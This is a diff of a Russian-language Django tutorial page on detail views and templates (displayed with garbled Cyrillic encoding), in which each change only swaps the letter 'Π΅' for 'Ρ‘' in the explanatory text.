-<p>ΠŸΡ€ΠΎΡΡ‚ΠΎ для ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΠΈ ΠΈΠ΄Π΅ΠΈ ΠΊΠ°ΠΊ это ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΌΡ‹ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ отобраТСния Π² Π²ΠΈΠ΄Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ссли ΠΏΠΎ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ Π²Ρ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° основС ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ класса.</p>
+<p>ΠŸΡ€ΠΎΡΡ‚ΠΎ для ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΠΈ ΠΈΠ΄Π΅ΠΈ ΠΊΠ°ΠΊ это ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΌΡ‹ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ отобраТСния Π² Π²ΠΈΠ΄Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ссли ΠΏΠΎ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ Π²Ρ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° основС ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ класса.</p>
<pre class="brush: python">def book_detail_view(request,pk):
try:
@@ -374,7 +374,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
)
</pre>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пытаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ запись ΠΎ ΠΊΠ½ΠΈΠ³Π΅ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»ΠΈ. Если Π΅ΠΉ это Π½Π΅ удаСтся, Ρ‚ΠΎ "выбрасываСтся" ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ <code>Http404</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ сигнализируСт, Ρ‡Ρ‚ΠΎ данная ΠΊΠ½ΠΈΠ³Π° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½Π° "not found". ПослСдним шагом являСтся, ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>render()</code> с ΠΈΠΌΠ΅Π½Π΅ΠΌ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ шаблона ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ ΠΊΠ½ΠΈΠ³Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>context</code> (Π² Π²ΠΈΠ΄Π΅ словаря).</p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пытаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ запись ΠΎ ΠΊΠ½ΠΈΠ³Π΅ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»ΠΈ. Если Π΅ΠΉ это Π½Π΅ удаётся, Ρ‚ΠΎ "выбрасываСтся" ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ <code>Http404</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ сигнализируСт, Ρ‡Ρ‚ΠΎ данная ΠΊΠ½ΠΈΠ³Π° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½Π° "not found". ПослСдним шагом являСтся, ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>render()</code> с ΠΈΠΌΠ΅Π½Π΅ΠΌ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ шаблона ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ ΠΊΠ½ΠΈΠ³Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>context</code> (Π² Π²ΠΈΠ΄Π΅ словаря).</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Ѐункция <code>get_object_or_404()</code> (ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ) являСтся ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ "ярлыком" для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ <code>Http404</code> Ссли запись Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½Π°.</p>
@@ -382,7 +382,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_шаблона_Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ_ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ шаблона Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</h3>
-<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ HTML Ρ„Π°ΠΉΠ» <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong> ΠΈ скопируйтС Π² Π½Π΅Π³ΠΎ содСрТимоС, прСдставлСнноС Π½ΠΈΠΆΠ΅. Как Π±Ρ‹Π»ΠΎ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Ρ€Π°Π½Π΅Π΅, это шаблон "ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ" (имя шаблона), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ "оТидаСтся"ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΌ классом отобраТСния Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (для ΠΌΠΎΠ΄Π΅Π»ΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>Book</code> Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>catalog</code>).</p>
+<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ HTML Ρ„Π°ΠΉΠ» <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong> ΠΈ скопируйтС Π² Π½Π΅Π³ΠΎ содСрТимоС, прСдставлСнноС Π½ΠΈΠΆΠ΅. Как Π±Ρ‹Π»ΠΎ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Ρ€Π°Π½Π΅Π΅, это шаблон "ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ" (имя шаблона), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ "оТидаСтся"ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΌ классом отобраТСния Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (для ΠΌΠΎΠ΄Π΅Π»ΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>Book</code> Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>catalog</code>).</p>
<pre class="brush: html">{% extends "base_generic.html" %}
@@ -412,7 +412,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
</ul>
<div class="note">
-<p>Бсылка Π½Π° Π°Π²Ρ‚ΠΎΡ€Π° Π² шаблонС содСрТит пустой URL-адрСс, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΅Ρ‰Π΅ Π½Π΅ создали страницу Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅. Когда это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ URL-адрСс ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
+<p>Бсылка Π½Π° Π°Π²Ρ‚ΠΎΡ€Π° Π² шаблонС содСрТит пустой URL-адрСс, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ создали страницу Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅. Когда это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ URL-адрСс ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
<pre>&lt;a href="<strong>{% url 'author-detail' book.author.pk %}</strong>"&gt;\{{ book.author }}&lt;/a&gt;
</pre>
@@ -424,7 +424,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
<li>ΠœΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌ наш Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон ΠΈ пСрСопрСдСляСм Π±Π»ΠΎΠΊ <code>content</code>.</li>
<li>ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ условиС <code>if</code> для ΠΏΠΎΠΊΠ°Π·Π° Ρ‚ΠΎΠ³ΠΎ, ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠ³ΠΎ содСрТимого.</li>
<li>ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ†ΠΈΠΊΠ»Ρ‹ <code>for</code> Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ±Π΅ΠΆΠ°Ρ‚ΡŒΡΡ ΠΏΠΎ элСмСнтам (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ) Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… списках.</li>
- <li>ΠœΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ доступ ΠΊ полям контСкста ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ "Π΄ΠΎΡ‚-Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ" (ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ использовали ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ класс отобраТСния Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ρ‚ΠΎ контСкст ΠΈΠΌΠ΅Π΅Ρ‚ имя <code>book</code>; Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ имя <code>object</code>)</li>
+ <li>ΠœΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ доступ ΠΊ полям контСкста ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ "Π΄ΠΎΡ‚-Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ" (ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ использовали ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ класс отобраТСния Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ρ‚ΠΎ контСкст ΠΈΠΌΠ΅Π΅Ρ‚ имя <code>book</code>; Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ имя <code>object</code>)</li>
</ul>
<p>Одной интСрСсной Π²Π΅Ρ‰ΡŒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π½Π΅ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅, являСтся функция <code>book.bookinstance_set.all()</code>. Π”Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ являСтся "автомагичСски"-сконструированным Django для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ мноТСство записСй <code>BookInstance</code>, связанных с Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΎΠΉ <code>Book</code>.</p>
@@ -433,7 +433,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
&lt;!-- ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ/экзСмпляру ΠΊΠ½ΠΈΠ³ΠΈ --&gt;
{% endfor %}</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ создан, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹,Β Π½Π° сторонС "ΠΌΠ½ΠΎΠ³ΠΈΠΌ" Π΄Π°Π½Π½ΠΎΠΉ связи, объявили ΠΏΠΎΠ»Π΅ <code>ForeignKey</code>Β (ΠΎΠ΄ΠΈΠ½-ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ объявили Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ сторонС ("ΠΎΠ΄ΠΈΠ½") Π΄Π°Π½Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, модСль <code>Book</code> "Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π·Π½Π°Π΅Ρ‚" ΠΏΡ€ΠΎ модСль <code>BookInstance</code>), Ρ‚ΠΎ ΠΎΠ½Π° Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ возмоТности (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ) для получСния мноТСства ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… записСй. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ,Β Django конструируСт ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ "ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра" ("reverse lookup"), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Имя Π΄Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаСтся Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС ΠΈ состоит ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π» объявлСн <code>ForeignKey</code>Β (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, <code>bookinstance</code>), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт <code>_set</code> (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ функция, созданная для <code>Book</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΈΠ΄ <code>bookinstance_set()</code>).</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ создан, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹,Β Π½Π° сторонС "ΠΌΠ½ΠΎΠ³ΠΈΠΌ" Π΄Π°Π½Π½ΠΎΠΉ связи, объявили ΠΏΠΎΠ»Π΅ <code>ForeignKey</code>Β (ΠΎΠ΄ΠΈΠ½-ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ объявили Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ сторонС ("ΠΎΠ΄ΠΈΠ½") Π΄Π°Π½Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, модСль <code>Book</code> "Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π·Π½Π°Π΅Ρ‚" ΠΏΡ€ΠΎ модСль <code>BookInstance</code>), Ρ‚ΠΎ ΠΎΠ½Π° Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ возмоТности (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ) для получСния мноТСства ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… записСй. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ,Β Django конструируСт ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ "ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра" ("reverse lookup"), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Имя Π΄Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаётся Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС ΠΈ состоит ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π» объявлСн <code>ForeignKey</code>Β (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, <code>bookinstance</code>), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт <code>_set</code> (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ функция, созданная для <code>Book</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΈΠ΄ <code>bookinstance_set()</code>).</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ  <code>all()</code> для получСния всСх записСй (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ). Π’Ρ‹, Π½Π°Π²Π΅Ρ€Π½ΠΎΠ΅, ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>filter()</code> для получСния подмноТСства записСй Π² ΠΊΠΎΠ΄Π΅, Π½ΠΎ, ΠΊ соТалСнию, Π²Ρ‹ НЕ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ² Π² шаблонС, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π² Π½Π΅ΠΌ (Π² шаблонС) Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
@@ -447,7 +447,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
<p>Π­Ρ‚ΠΎ ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ, <a href="https://docs.djangoproject.com/en/1.10/topics/pagination/#paginator-objects">paginator object</a> (Π΄Π°Π»Π΅Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ постраничного Π²Ρ‹Π²ΠΎΠ΄Π°) ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π΅ΠΊΡƒΡŽ ΡƒΠΏΠΎΡ€ΡΠ΄ΠΎΡ‡Π΅Π½Π½ΠΎΡΡ‚ΡŒ ORDER BY ΠΏΡ€ΠΈ запросС ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Π‘Π΅Π· этого, ΠΎΠ½ Π½Π΅ смоТСт Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π²Ρ‹Π²ΠΎΠ΄ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…!<strong> </strong></p>
-<p>Π”Π°Π½Π½ΠΎΠ΅ руководство ΠΏΠΎΠΊΠ° Π½Π΅ дошло Π΄ΠΎ описания <strong>Pagination</strong> (ΠΏΠΎΠΊΠ°, Π½ΠΎ скоро Π±ΡƒΠ΄Π΅Ρ‚), ΠΈ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>sort_by()</code> ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ (ΠΏΠΎ Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅, Ρ‡Ρ‚ΠΎ ΠΈ <code>filter()</code>) Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… дСйствий:</p>
